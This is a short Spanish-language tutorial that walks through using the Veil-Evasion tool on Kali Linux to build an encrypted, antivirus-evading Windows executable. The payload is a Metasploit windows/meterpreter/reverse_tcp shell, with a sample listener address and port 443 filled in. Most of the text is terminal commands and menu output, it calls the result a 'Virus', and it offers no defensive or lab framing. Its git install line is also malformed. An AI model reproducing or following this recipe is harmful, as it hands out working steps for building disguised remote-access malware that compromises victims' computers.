Para descargar Veil kali:
Abrir una terminar y ejecutar:  
git https://github.com/veil-evasion/Veil
Una vez instalado Veil, lo podrás utilizar abriendo una terminal y ejecutar:
 cd /Veil
./Veil
Se despliega el menú [>] Please enter a command, utiliza el comando "list" para desplegar los tipos de Virus e ingresa el numero que vayas a utilizar. 
ejemplo: [>] Please enter a command: 12
se despliega un nuevo menú:
Payload: python/AESEncrypted loaded
 Required Options:
 Name Current Value Description
 ---- ------------- -----------
 compile_to_exe   Y       Compile to an executable
 inject_method   virtual [virtual]alloc or [void]pointer
 use_pyherion     N       Use the pyherion encrypter

 Available commands:
set         set a specific option value
info         show information about the payload
help [crypters] show help menu for payload or crypters
generate     generate payload
exit         exit Veil
back         go to the main menu

en este nuevo menú utiliza:  set use_pytherion Y   (puedes utilizar Tab para completar) .
una vez ejecutado el comando anterior utiliza "generate".
[>] Please enter a command: generate
Utiliza el shellcode por defecto (msfvenom).
Ingresa el Payload utilizando windows/meterpreter/...(el que te sea mas útil, si no sabes que payload utilizar presiona doble TAB para desplegar todas las opciones.
 [*] Press [enter] for windows/meterpreter/reverse_tcp
 [*] Press [tab] to list available payloads
 [>] Please enter metasploit payload: 
 [>] Enter value for 'LHOST', [tab] for local IP: 10.0.1.94  (completas con doble TAB)
[>] Enter value for 'LPORT': 443
 [>] Enter extra msfvenom options in OPTION=value syntax:  (presiona Enter nada mas)

En el siguiente menú ingresa el nombre del exe que se va a crear:
[*] Press [enter] for 'payload'
 [>] Please enter the base name for output files:  TEST

Se desplegara el ultimo menú.

[?] How would you like to create your payload executable?

1 - Pyinstaller (default)
2 - Py2Exe

 [>] Please enter the number of your choice:  (presiona enter)

LISTO!!

Tu archivo creado esta en /root/veil-output